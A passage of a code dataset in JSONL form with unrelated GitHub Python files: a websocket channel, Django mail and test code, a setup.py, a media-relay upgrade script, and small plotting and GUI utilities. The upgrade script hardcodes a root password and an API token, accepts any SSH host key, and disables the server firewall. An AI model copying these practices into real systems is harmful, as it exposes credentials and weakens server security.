{self._url}')\n assert not self._closing\n self._ensure_conn()\n\n def disconnect(self) -> None:\n _logger.debug(f'Disconnect from {self._url}')\n if self._closing:\n _logger.debug('Already closing')\n else:\n try:\n if self._conn is not None:\n self._conn.send({'type': '_bye_'})\n except Exception as e:\n _logger.debug(f'Failed to send bye: {repr(e)}')\n self._closing = True\n self._close_conn('client intentionally close')\n\n def send(self, command: Command) -> None:\n if self._closing:\n return\n _logger.debug(f'Send {command}')\n for i in range(5):\n try:\n conn = self._ensure_conn()\n conn.send(command)\n return\n except Exception:\n _logger.exception(f'Failed to send command. Retry in {i}s')\n self._terminate_conn('send fail')\n time.sleep(i)\n _logger.warning(f'Failed to send command {command}. Last retry')\n conn = self._ensure_conn()\n conn.send(command)\n\n def receive(self) -> Command | None:\n while True:\n if self._closing:\n return None\n command = self._receive_command()\n if command is None:\n return None\n if command['type'] == '_nop_':\n continue\n if command['type'] == '_bye_':\n reason = command.get('reason')\n _logger.debug(f'Server close connection: {reason}')\n self._closing = True\n self._close_conn('server intentionally close')\n return None\n return command\n\n def _ensure_conn(self) -> WsConnection:\n if self._conn is None and not self._closing:\n self._conn = WsConnection(self._url)\n self._conn.connect()\n _logger.debug('Connected')\n return self._conn # type: ignore\n\n def _close_conn(self, reason: str) -> None:\n if self._conn is not None:\n try:\n self._conn.disconnect(reason)\n except Exception:\n pass\n self._conn = None\n\n def _terminate_conn(self, reason: str) -> None:\n if self._conn is not None:\n try:\n self._conn.terminate(reason)\n except Exception:\n pass\n self._conn = None\n\n def _receive_command(self) -> Command | None:\n for i in range(5):\n try:\n conn = self._ensure_conn()\n command = conn.receive()\n if not self._closing:\n assert command is not None\n return command\n except Exception:\n _logger.exception(f'Failed to receive command. Retry in {i}s')\n self._terminate_conn('receive fail')\n time.sleep(i)\n _logger.warning(f'Failed to receive command. Last retry')\n conn = self._ensure_conn()\n conn.receive()\n","repo_name":"microsoft/nni","sub_path":"nni/runtime/command_channel/websocket/channel.py","file_name":"channel.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":13409,"dataset":"github-code","pt":"7"} +{"seq_id":"8684018625","text":"from django.core.mail import send_mail\nfrom django.urls import reverse\nfrom Course_website.settings import EMAIL_FROM, BASE_DOMAIN\n\n\nEMAIL_TMPLATE = '''\n亲爱的信息系统分析与设计社区用户: \n\n您的验证码是: {_code}\n34HRAWLyTHw\n\n此信是由信息系统分析与设计社区系统发出,系统不接受回信,请勿直接回复。 \n如有任何疑问,请联系我们。 \n\n致 \n礼! \n\n信息系统分析与设计\n\n'''\n\nACTIVE_EMAIL = '''\n
    \n欢迎注册 信息系统分析与设计 社区。\n
    \n
    \n信息系统分析与设计社区 是一个学生与老师社区,注册并登录后,你将可以在这里和大家分享你的最新发现,讨论解决各种技术问题,展示你的的奇思妙想,及更多等待你去发现的惊喜。\n
    \n
    \n请点击下面的地址验证你的帐号:\n
    \n
    \n{_url}\n
    \n
    \n如果你有任何疑问,可以回复这封邮件向我们提问。
    \n
    \n信息系统分析与设计
    \n'''\n\n\ndef send_email_code(to, code):\n msg = ACTIVE_EMAIL.format(_url=BASE_DOMAIN + reverse('activate_email', args=(code,)))\n try:\n send_mail('[信息系统分析与设计] 欢迎来到 信息系统分析与设计',\n '',\n EMAIL_FROM,\n [to],\n html_message=msg)\n return True\n except Exception as e:\n print(e)\n return False\n","repo_name":"triangle959/Course_website","sub_path":"utils/send_notify_mail.py","file_name":"send_notify_mail.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"40065781899","text":"#!/usr/bin/env python\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n\nimport os\nfrom typing import Any\n\nfrom setuptools import find_packages, setup\n\nBASE_PATH = os.path.dirname(__file__)\n\n# https://packaging.python.org/guides/single-sourcing-package-version/\nversion: Any = {}\nwith open(\"./colin/version.py\") as fp:\n exec(fp.read(), version)\n\nlong_description = \"\".join(open(\"README.md\").readlines())\n\nsetup(\n name=\"colin\",\n version=version[\"__version__\"],\n description=\"Tool to check generic rules/best-practices for containers/images/dockerfiles.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(exclude=[\"examples\", \"tests\"]),\n install_requires=[\"Click\", \"six\", \"dockerfile_parse\", \"fmf\", \"PyYAML\"],\n entry_points=\"\"\"\n [console_scripts]\n colin=colin.cli.colin:cli\n \"\"\",\n data_files=[\n (\"share/colin/rulesets/\", [\"rulesets/default.json\", \"rulesets/fedora.json\"]),\n (\"share/bash-completion/completions/\", [\"bash-complete/colin\"]),\n ],\n license=\"GPLv3+\",\n python_requires=\">=3.6\",\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Environment :: Console\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: GNU General Public License v2 or later (GPLv2+)\",\n \"Operating System :: POSIX :: Linux\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Topic :: Software Development\",\n \"Topic :: Software Development :: Quality Assurance\",\n \"Topic :: Utilities\",\n ],\n keywords=\"containers,sanity,linter\",\n author=\"Red Hat\",\n author_email=\"user-cont-team@redhat.com\",\n url=\"https://github.com/user-cont/colin\",\n package_data={\"\": [\"*.fmf\"]},\n include_package_data=True,\n)\n","repo_name":"user-cont/colin","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"7"} +{"seq_id":"75079045984","text":"#!/usr/bin/python3\r\n\r\n##Below function will upgrade Media Relay Server using MRc and MRE RPMs\r\nimport os\r\nimport posixpath\r\nimport sys\r\n\r\nimport paramiko\r\nfrom paramiko import AuthenticationException, BadHostKeyException\r\nfrom paramiko.ssh_exception import NoValidConnectionsError\r\n\r\nmr_ip = str(sys.argv[1])\r\ncontroller_job = str(sys.argv[2])\r\nengine_job = str(sys.argv[3])\r\n\r\ndef checking_pre_requisites(mr_ip):\r\n print(\"*****************************************************************************************\")\r\n print(\"Condition 1:Check if Remote Server is up and running\")\r\n print(\"*****************************************************************************************\")\r\n\r\n hostname = mr_ip\r\n print(\"\\nPinging MR IP \" + hostname + \" to check if server is up and running \\n\")\r\n response = os.system(\"ping -c 3 \" + hostname)\r\n # Ping Host and then check the response...\r\n if response == 0:\r\n print(hostname + ' is up and running ....\\n\\n')\r\n print(\"*****************************************************************************************\")\r\n print(\"Condition 2.Checking SSH connectivity\")\r\n print(\"*****************************************************************************************\")\r\n\r\n try:\r\n ssh = paramiko.SSHClient()\r\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\r\n ssh.connect(mr_ip, username='root', password='!/useResponsibly/!')\r\n print(\"SSH Connection : PASS\\n\")\r\n try:\r\n print(\"*****************************************************************************************\")\r\n print(\"Condition 3: Existence of directory /var/log/poly/media-relay in Remote Server\")\r\n print(\"*****************************************************************************************\\n\")\r\n sftp = ssh.open_sftp()\r\n sftp.chdir(\"/var/log/poly/media-relay\")\r\n ssh.close()\r\n print(\"Directory /var/log/poly/media-relay exists in remote server : YES \\n\")\r\n except IOError as e:\r\n print(\"Media Relay Directory is not existing at path /var/log/poly in the server %s exits\" % e)\r\n exit(1)\r\n except AuthenticationException:\r\n print(\"Authentication failed, please verify your credentials: %s\")\r\n exit(1)\r\n except BadHostKeyException as badHostKeyException:\r\n print(\"Unable to verify server's host key: %s\" % badHostKeyException)\r\n exit(1)\r\n\r\n except NoValidConnectionsError as e:\r\n print(\"\\n Unable to establish SSH connection: %s\" % e)\r\n exit(1)\r\n\r\n else:\r\n print(\"\\nFail to ping machine \" + mr_ip + \".Please check if server is up and running \")\r\n exit(1)\r\n\r\n\r\ndef server_upgrade(rmx_ip, ssh):\r\n print(\"MR Installation Started.......\\n\")\r\n\r\n cmd_1 = \"cd /tmp/\"\r\n cmd_2 = \"chmod 777 Media*\"\r\n cmd_3 = \"yum -y erase media-relay-controller.noarch\"\r\n cmd_4 = \"yum -y erase media-relay-engine.x86_64\"\r\n cmd_5 = \"yum -y install /tmp/MediaRelayEngine/media-relay-engine-*\"\r\n cmd_6 = \"yum -y install /tmp/MediaRelayController/media-relay-controller-*\"\r\n cmd_7 = \"chmod a+w /opt/poly/media-relay/engine/config/environment\"\r\n\r\n stdin, stdout, stderr = ssh.exec_command(\r\n cmd_1 + '&&' + cmd_2 + '&&' + cmd_3 + '&&' + cmd_4 + '&&' + cmd_5 + '&&' + cmd_6 + '&&' + cmd_7)\r\n\r\n for line in stdout:\r\n print(line)\r\n\r\n ##Update ip config for MRE\r\n try:\r\n sftp = ssh.open_sftp()\r\n f = sftp.open('/opt/poly/media-relay/engine/config/environment', 'w')\r\n f.write('COD_RE_PUBLIC_IP=' + rmx_ip + '\\n')\r\n f.write('COD_RC_IP=' + rmx_ip + '\\n')\r\n f.write('COD_RC_PORT = 8089')\r\n f.close()\r\n except:\r\n print(\"Something wrong with sftp\")\r\n\r\n ## Run MRC and MRE processes in RMX and disable firewall settings\r\n\r\n cmd_8 = \"service media-relay-engine start\"\r\n cmd_9 = \"service media-relay-controller start\"\r\n cmd_10 = \"systemctl stop firewalld\"\r\n cmd_11 = \"systemctl disable firewalld\"\r\n\r\n stdin, stdout, stderr = ssh.exec_command(cmd_8 + '&&' + cmd_9 + '&&' + cmd_10 + '&&' + cmd_11)\r\n for line in stdout:\r\n print(line)\r\n\r\n\r\ndef build_download(ssh, controller_version, engine_version):\r\n controller_Job = controller_version\r\n engine_job = engine_version\r\n\r\n ##Downloading controller build\r\n\r\n cmd_1 = \"mkdir -p /tmp/MediaRelayController/ && cd /tmp/MediaRelayController/ && rm -rf *\"\r\n cmd_2 = \"curl --output artifacts.zip --globoff --header \\'PRIVATE-TOKEN: txwgixegQ-VY8harLuew\\' --header \\'JOB-TOKEN: $CI_JOB_TOKEN\\' https://onecode.polycom-labs.com/api/v4/projects/1104/jobs/\" + controller_Job \\\r\n + \"/artifacts && unzip artifacts.zip \"\r\n cmd_3 = \"mkdir -p /tmp/MediaRelayEngine/ && cd /tmp/MediaRelayEngine/ && rm -rf *\"\r\n cmd_4 = \"curl --output artifacts.zip --globoff --header \\'PRIVATE-TOKEN: txwgixegQ-VY8harLuew\\' --header \\'JOB-TOKEN: $CI_JOB_TOKEN\\' https://onecode.polycom-labs.com/api/v4/projects/1304/jobs/\" + engine_job \\\r\n + \"/artifacts && unzip artifacts.zip \"\r\n stdin, stdout, stderr = ssh.exec_command(\r\n cmd_1 + '&&' + cmd_2 + '&&' + cmd_3 + '&&' + cmd_4)\r\n for line in stdout:\r\n print(line)\r\n\r\n\r\ndef validation(ssh):\r\n print(\"Validation Started...\\n\")\r\n cmd_1 = 'find /tmp/MediaRelayController -name \\'media-relay-controller*\\''\r\n cmd_2 = 'find /tmp/MediaRelayEngine -name \\'media-relay-engine*\\''\r\n cmd_3 = 'rpm -qa|grep media-relay-controller'\r\n cmd_4 = 'rpm -qa|grep media-relay-engine'\r\n cmd_5 = 'systemctl is-active media-relay-controller.service'\r\n cmd_6 = 'systemctl is-active media-relay-engine.service'\r\n a = []\r\n stdin, stdout, stderr = ssh.exec_command(\r\n cmd_1 + '&&' + cmd_2 + '&&' + cmd_3 + '&&' + cmd_4 + '&&' + cmd_5 + '&&' + cmd_6)\r\n for line in stdout:\r\n a.append(line)\r\n print(a)\r\n\r\n controller_build_version = str(a[0])[26:-5]\r\n engine_build_version = str(a[1])[22:-5]\r\n controller_installed_version = str(a[2])[0:-1]\r\n engine_installed_version = str(a[3])[0:-1]\r\n\r\n if engine_build_version == engine_installed_version and controller_build_version == controller_installed_version and \\\r\n str(a[4][0:-1]) == 'active' and str(a[5][0:-1]) == 'active':\r\n print(\"Validation is successful as downloaded rpms and installed rpms version are same..... \\n\\n\\n\")\r\n print(\r\n \"MR successfully upgraded with MRC version \\'\" + controller_installed_version + \"\\' and MRE version \\'\" + engine_installed_version + \"\\'\\n\")\r\n print(\r\n \"*********************************************************************************************************\")\r\n #print(\"Step 5 : Removing copied RPMs from /tmp directory.....\\n\")\r\n print(\r\n \"*********************************************************************************************************\")\r\n #cmd_7 = 'rm -rf /tmp/*'\r\n #stdin, stdout, stderr = ssh.exec_command(cmd_7)\r\n #print(\"\\nRPMs removed successfully from /tmp/Media* directory \")\r\n return 0\r\n\r\n\r\n else:\r\n print(\"Validation failed...\\n Please check logs for further information \")\r\n #cmd_8 = 'rm -rf /tmp/*'\r\n #stdin, stdout, stderr = ssh.exec_command(cmd_8)\r\n #print(\"\\nRPMs removed successfully from /tmp/Media* directory \")\r\n return 1\r\n\r\n\r\ndef mr_upgrade():\r\n print(\"Step 1: Checking pre-requisites for MR upgrade :\\n\")\r\n print(\"**********************************************************************************************\")\r\n checking_pre_requisites(mr_ip)\r\n print(\"All pre-requisites are validated and system looks good to proceed with installation\\n\")\r\n ssh = paramiko.SSHClient()\r\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\r\n ssh.connect(mr_ip, username='root', password='!/useResponsibly/!')\r\n print(\"Step 2: Downloading latest version from repository and copying in location/tmp \\n\")\r\n build_download(ssh, str(controller_job), str(engine_job))\r\n print(\"Step 3: MR Installation \\n \")\r\n print(\"************************************************************************************************\")\r\n server_upgrade(mr_ip, ssh)\r\n print(\"MR Installation Completed Successfully\\n \")\r\n print(\"Step 4: Start Validation\\n\")\r\n print(\"*************************************************************************************************\")\r\n final_result = validation(ssh)\r\n ssh.close()\r\n print(\"\\n**************************************************************************************************\")\r\n print(\"Upgrade test has been completed\")\r\n print(\"**************************************************************************************************\")\r\n print(final_result)\r\n if final_result == 0:\r\n sys.exit(0)\r\n else:\r\n sys.exit(1)\r\n \r\nmr_upgrade()\r\n","repo_name":"inpgupta01/OneCodeAutomation","sub_path":"RelayMcuUpgrade.py","file_name":"RelayMcuUpgrade.py","file_ext":"py","file_size_in_byte":9006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70520629983","text":"## Write a Python program to print the even numbers from a given list.\n\nmy_numbers = []\ndef my_menu():\n print( \"\"\"\n Enter Numbers below and type any character when finished populating list..\n\"\"\")\n\n\ndef number_lister():\n while True:\n try:\n num = int(input(\"==>\"))\n if num % 2 == 0:\n my_numbers.append(str(num))\n else:\n continue\n except ValueError:\n if len(my_numbers)<1:\n print(\"No even numbers given\")\n my_menu()\n elif len(my_numbers) == 1:\n print(\"{} is even\".format(my_numbers))\n break\n else:\n print(\"The even numbers are: {}\".format(\",\".join(my_numbers)))\n break\n\n\n\nif __name__ == '__main__':\n my_menu()\n number_lister()\n","repo_name":"aviik/intellipat_assignments","sub_path":"Assignment_3_Funct/04_even_numbers.py","file_name":"04_even_numbers.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17791156045","text":"# ===========================\n# ====== STUDENT USER =======\n# ===========================\n\n# asgi to test localy\nfrom mastercontrat import asgi # noqa\nfrom mastercontrat import wsgi # noqa\n\nfrom django.test import RequestFactory\nfrom django.contrib.sessions.middleware import SessionMiddleware\n\nfrom collabspace.views import (\n myspace, myaccount, log_out, log_in\n)\n\nfrom frontpage.tests.constants import (\n STUDENT, ANONYMOUS\n)\nfrom frontpage.tests.tools import create_faq, create_link\n\n\ndef test_myspace():\n # Connected\n request = RequestFactory().get(\"\")\n request.user = STUDENT\n\n faq = create_faq()\n link = create_link()\n\n view = myspace(request, '')\n assert view.status_code == 200\n\n view = myspace(request, 'home')\n assert view.status_code == 200\n\n faq.delete()\n link.delete()\n\n\ndef test_myaccount():\n\n request = RequestFactory().get(\"\")\n request.user = STUDENT\n\n view = myaccount(request)\n\n assert view.status_code == 200\n\n\ndef test_log_out():\n\n request = RequestFactory().post(\"\")\n request.user = STUDENT\n\n middleware = SessionMiddleware()\n middleware.process_request(request)\n request.session.save()\n\n view = log_out(request)\n\n assert view.status_code == 302\n\n\ndef test_log_in():\n # Connect to\n request = RequestFactory().post(\"\")\n request.user = ANONYMOUS\n request.POST = {\n 'username': 'student',\n 'password': 'azerty123'\n }\n\n middleware = SessionMiddleware()\n middleware.process_request(request)\n request.session.save()\n\n view = log_in(request)\n assert view.status_code == 302\n\n # False password\n request.POST = {\n 'username': 'student',\n 'password': 'FALSEPASSWORD'\n }\n\n middleware = SessionMiddleware()\n middleware.process_request(request)\n request.session.save()\n\n view = log_in(request)\n assert view.status_code == 302\n","repo_name":"AlexisFricard/P13-final-project","sub_path":"collabspace/tests/test_collabspace.py","file_name":"test_collabspace.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20158092429","text":"import numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\n\n#A simple example of an ODE model for data degradation on an HDD could be\n\n# function returns dD/dt\ndef data_deg(data, t):\n # temperature\n temperature = 37.77\n # humidity\n humidity = 0.5\n # strength of magnetic field\n b = 0.5\n # constant, rate of degradation caused by changes in temperature and humidity\n k1 = 0.01\n # constant, rate of degradation caused by changes in magnetic field\n k2 = 0.005\n\n dDdt = -k1 * temperature * humidity * data - k2 * b * data\n return dDdt\n\n# initial condition, data, in GB\nd0 = [100, 500, 999, 1899]\n\n# time sequence points, in years\nt = np.linspace(0,10)\n\n# solve ODE\nr = odeint(data_deg,d0,t)\n\n# plot results\nplt.plot(t,r[:,0], color=\"purple\", label='d0 = 100')\nplt.plot(t, r[:,1], color=\"yellow\", label='d0 = 500')\nplt.plot(t, r[:,2], color=\"blue\", label='d0 = 999')\nplt.plot(t, r[:,3], color=\"black\", label='d0 = 1899')\n\n# legend for labels\nplt.legend()\n\n# labels\nplt.xlabel('time in years')\nplt.ylabel('data_deg(t)')\nplt.show()\n","repo_name":"admeeer/admeeer_gcu","sub_path":"305/lab_question_7/lab_question_7.py","file_name":"lab_question_7.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14307213369","text":"import os\nimport PySimpleGUI as sg\nimport sys\nimport cv2\nsys.path.insert(0, r\"C:/AI/utility\")\n\nfrom annotations import Annotations\n\n\n\ndef resize_annotations_in_dir(dir_in: str, dir_out, old_im_size, new_image_size):\n '''\n this function is relevant only if we add to image in right or in bottom\n or if we remove from right or from bottom and no roi in remove part\n '''\n if not os.path.isdir(dir_out):\n os.mkdir(dir_out)\n files = [f for f in os.listdir(dir_in)]\n for file in files:\n try:\n annotations = Annotations(yolo_file=os.path.join(dir_in, file))\n annotations.resize_im(old_im_size, new_image_size)\n annotations.save_to_yolo_format(os.path.join(dir_out, file))\n except Exception as e:\n print(e)\n\n\n\nin_folder = [\n [\n sg.Text(\"input Folder\"),\n sg.In(size=(25, 1), enable_events=True, key=\"-in FOLDER-\"),\n sg.FolderBrowse(),\n ],\n]\n\noutput_folder = [\n [\n sg.Text(\"Output Folder\"),\n sg.In(size=(25, 1), enable_events=True, key=\"-res FOLDER-\"),\n sg.FolderBrowse(),\n ],\n]\n\norig_size = [\n [\n sg.Text(\"im orig size\"),\n sg.Combo([(256, 128), (128, 256), (128, 128), (256, 256)], default_value=(256, 128), key=\"-orig_size-\")\n ]\n]\n\nnew_size = [\n [\n sg.Text(\"new image size\"),\n sg.Combo([(256, 128), (128, 256), (128, 128), (256, 256)], default_value=(256, 128), key=\"-new_size-\")\n ]\n]\n\nlayout = [\n [\n [sg.Column(in_folder)],\n [sg.Column(output_folder)],\n [sg.Column(orig_size), sg.Column(new_size)],\n [sg.Button(\"RUN\")]\n\n ]\n]\n\nwindow = sg.Window(\"resize_annotations_in_dir\", layout)\n\n# Create an event loop\nwhile True:\n event, values = window.read()\n\n if event == \"-in FOLDER-\":\n dir_in = values[\"-in FOLDER-\"]\n if event == \"-res FOLDER-\":\n dir_out = values[\"-res FOLDER-\"]\n\n if event == \"RUN\":\n im_orig_size = values['-orig_size-']\n new_im_size = values['-new_size-']\n resize_annotations_in_dir(dir_in, dir_out, im_orig_size, new_im_size)\n if event == sg.WIN_CLOSED:\n break\n\nwindow.close()","repo_name":"moolig/utility_gui","sub_path":"resize_annotations_in_dir.py","file_name":"resize_annotations_in_dir.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37192641319","text":"#!/usr/bin/env python\n\nimport typing as ty\n\nimport numpy as np\nimport pandas as pd\n\nfrom .arrays import ArrayLike\nfrom .modules import import_module\nfrom .modules import install as install_package\nfrom .nlp import split_txt\n\ntry:\n import scipy.cluster.hierarchy as shc\nexcept ImportError:\n install_package('scipy')\n import scipy.cluster.hierarchy as shc\n\ntry:\n import plotly.express as px\nexcept ImportError:\n install_package('scipy')\n import plotly.express as px\n\n\ndef plot_RCI_distribution(input_df: pd.DataFrame, **kwargs) -> None:\n seaborn_module = kwargs.get('seaborn_module', None)\n if seaborn_module is None:\n sns = import_module('seaborn')\n else:\n sns = seaborn_module\n \n sns.histplot(input_df, **kwargs)\n \n\ndef plot_activity_distribution(input_df: pd.DataFrame, **kwargs) -> None:\n # see https://plotly.com/python/bar-charts/\n plotly_module = kwargs.get('plotly_module', None)\n if plotly_module is None:\n px = import_module('seaborn')\n else:\n px = plotly_module\n \n fig = px.bar(input_df, **kwargs)\n fig.show()\n\n\ndef scree_plot(input_df: pd.DataFrame, eigenvalues: ArrayLike, **kwargs) -> None:\n plt_module = kwargs.get('pyplot_module', None)\n if plt_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = plt_module\n \n figsize = kwargs.get('figsize', (8, 8))\n plt.figure(figsize=figsize)\n plt.scatter(range(1, input_df.shape[1] + 1), eigenvalues)\n plt.plot(range(1, input_df.shape[1] + 1), eigenvalues)\n plt.title('Scree Plot')\n plt.xlabel('Factors')\n plt.ylabel('Eigenvalue')\n plt.axhline(y=1.0, color='r', linestyle='-')\n plt.grid()\n plt.show()\n \n \ndef plot_factors_heatmap(input_df: pd.DataFrame, **kwargs) -> pd.DataFrame:\n plt_module = kwargs.get('pyplot_module', None)\n seaborn_module = kwargs.get('seaborn_module', None)\n figsize = kwargs.get('figsize', (10, 8))\n title = kwargs.get('title', \"Factors to Characteristics Heatmap\")\n\n if plt_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = plt_module\n \n if seaborn_module is None:\n sns = import_module('seaborn')\n else:\n sns = seaborn_module\n\n # Generate a custom diverging colormap\n cmap = sns.diverging_palette(240, 10, as_cmap=True)\n \n # get correlation matrix plot for loadings\n plt.figure(figsize=figsize)\n plt.title(title)\n ax = sns.heatmap(\n input_df, cmap=cmap,\n vmax=1.0, vmin=-1.0,\n cbar_kws={\"shrink\": .8},\n center=0, square=True, \n linewidths=.5, annot=True, fmt='.2f')\n plt.show()\n\n return input_df\n\n\ndef plot_column_correlation_heatmap(input_df: pd.DataFrame, **kwargs) -> pd.DataFrame:\n pyplot_module = kwargs.get('pyplot_module', None)\n seaborn_module = kwargs.get('seaborn_module', None)\n threshold = kwargs.get('threshold', 0)\n figsize = kwargs.get('figsize', (10, 8))\n title = kwargs.get('title', \"Column Correlation Heatmap\")\n \n if pyplot_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = pyplot_module\n \n if seaborn_module is None:\n sns = import_module('seaborn')\n else:\n sns = seaborn_module\n \n corr = input_df.corr()\n corr = corr.where(np.abs(corr) > threshold, 0)\n\n # Generate a mask for the upper triangle\n mask = np.zeros_like(corr, dtype=np.bool)\n mask[np.triu_indices_from(mask)] = True\n\n # Set up the matplotlib figure\n f, ax = plt.subplots(figsize=figsize)\n\n # Generate a custom diverging colormap\n cmap = sns.diverging_palette(240, 10, as_cmap=True)\n\n # Draw the heatmap with the mask and correct aspect ratio\n sns.heatmap(corr, mask=mask, cmap=cmap, vmax=1.0, vmin=-1.0, cbar_kws={\"shrink\": .8}, center=0,\n square=True, linewidths=.5, annot=True, fmt='.2f')\n plt.title(f\"{title}\")\n plt.show()\n return corr\n\n\ndef find_no_clusters_by_elbow_plot(k, data: ArrayLike, **kwargs) -> None:\n plt_module = kwargs.get('pyplot_module', None)\n if plt_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = plt_module\n \n if plt:\n figsize = kwargs.get('figsize', (10, 5))\n plt.figure(figsize=figsize)\n plt.title('Optimal number of cluster')\n plt.xlabel('Number of cluster (k)')\n plt.ylabel('Total intra-cluster variation')\n plt.plot(range(1, k+1), data, marker = \"x\")\n plt.show()\n \n\ndef find_no_clusters_by_dist_growth_acceleration_plot(Z_input: ArrayLike, quiet: bool = False, **kwargs) -> ty.Optional[int]:\n plt_module = kwargs.get('pyplot_module', None)\n if plt_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = plt_module\n \n figsize = kwargs.get('figsize', (10, 5))\n \n last = Z_input[-10:, 2]\n last_rev = last[::-1]\n indices = np.arange(1, len(last) + 1)\n\n plt.figure(figsize=figsize)\n plt.title('Optimal number of cluster')\n plt.xlabel('Number of cluster')\n if not quiet:\n plt.plot(indices, last_rev, marker = \"o\", label=\"distance\")\n\n acceleration = np.diff(last, 2) # 2nd derivative of the distances\n acceleration_reversed = acceleration[::-1]\n if not quiet:\n plt.plot(indices[:-2] + 1, acceleration_reversed, marker = \"x\", label = \"2nd derivative of distance growth\")\n plt.legend()\n plt.show()\n k = acceleration_reversed.argmax() + 2 # if idx 0 is the max of this we want 2 clusters\n return k\n\n\ndef radar_plot(input_df: pd.DataFrame, **kwargs) -> None:\n plt_module = kwargs.get('pyplot_module', None)\n if plt_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = plt_module\n \n input_df_T = input_df.T\n labels = list(input_df_T.index)\n \n figsize = kwargs.get('figsize', (1000/96, 1000/96))\n dpi = kwargs.get('dpi', 96)\n prefix_title = kwargs.get('prefix_title', 'Role')\n suptitle = kwargs.get('suptitle', 'Activity space characteristics of roles in LKML')\n suptitle_weight = kwargs.get('subtitle_weight', 'bold')\n wspace = kwargs.get('wspace', 1.)\n\n # initialize the figure\n fig = plt.figure(figsize=figsize, dpi=dpi)\n fig.suptitle(suptitle, weight=suptitle_weight)\n \n # prepare the grid\n fig.subplots_adjust(wspace=wspace)\n \n # Create a color palette and define text color:\n color_palette = plt.cm.get_cmap(\"Set2\", len(labels))\n text_color = \"#565656\"\n \n def realign_polar_xticks(ax):\n for x, label in zip(ax.get_xticks(), ax.get_xticklabels()):\n if np.sin(x) > 0.1:\n label.set_horizontalalignment('left')\n if np.sin(x) < -0.1:\n label.set_horizontalalignment('right')\n\n def _make_spider(df, row, title, color, text_color):\n # number of variables (one per radar plot)\n categories = list(df.columns)\n categories = [split_txt(str(l), upper=True) for l in categories]\n N = len(categories)\n \n # calculate evenly-spaced axis angles\n angles = [n / float(N) * 2 * np.pi for n in range(N)]\n angles += angles[:1]\n \n # initialize the spider plot\n # TODO(HAS) try this one with 1, len(labels)\n # ax = plt.subplot(1, len(labels), row+1, polar=True)\n ax = plt.subplot(3, 3, row+1, polar=True,)\n \n # If you want the first axis to be on top:\n ax.set_theta_offset(np.pi / 2)\n ax.set_theta_direction(-1)\n \n ax.set_ylim(0, 1.)\n ax.set_yticks([])\n ax.xaxis.grid(linewidth=1)\n ax.yaxis.grid(linewidth=1)\n \n # Draw one axe per variable + add labels labels yet\n plt.xticks(angles[:-1], categories, size=8)\n \n # Draw ylabels\n ax.set_rlabel_position(180)\n realign_polar_xticks(ax)\n \n PAD = 0.05\n ax.text(0.05, 0 + PAD, \"5%\", size=8, color=text_color, fontname=\"DejaVu Sans\")\n ax.text(0.05, 0.25 + PAD, \"25%\", size=8, color=text_color, fontname=\"DejaVu Sans\")\n ax.text(0.05, 0.5 + PAD, \"50%\", size=8, color=text_color, fontname=\"DejaVu Sans\")\n ax.text(0.05, 0.75 + PAD, \"75%\", size=8, color=text_color, fontname=\"DejaVu Sans\")\n ax.text(0.05, 0.9 + PAD, \"100%\", size=8, color=text_color, fontname=\"DejaVu Sans\")\n \n values = df.loc[row].values.tolist()\n values += values[:1]\n ax.plot(angles, values, 'o-', color=color, linewidth=2, linestyle='solid')\n ax.fill(angles, values, color=color, alpha=.4)\n \n # Add a title (with title positioning using y, and loc in {right, center, left})\n plt.title(title, size=12, color=color, y=1.2, loc='center')\n \n for idx, row in enumerate(labels):\n _make_spider(\n df=input_df_T,\n row=idx, \n title=f'\\n{prefix_title} {row}',\n color=color_palette(row), \n text_color=text_color)\n\n\n# thx to https://bit.ly/3siFoaZ\ndef make_dendrogram(*args, **kwargs):\n max_d = kwargs.pop('max_d', None)\n if max_d and 'color_threshold' not in kwargs:\n kwargs['color_threshold'] = max_d\n annotate_above = kwargs.pop('annotate_above', 0)\n \n pyplot_module = kwargs.get('pyplot_module', None)\n if pyplot_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = pyplot_module\n\n ddata = shc.dendrogram(*args, **kwargs)\n\n if not kwargs.get('no_plot', 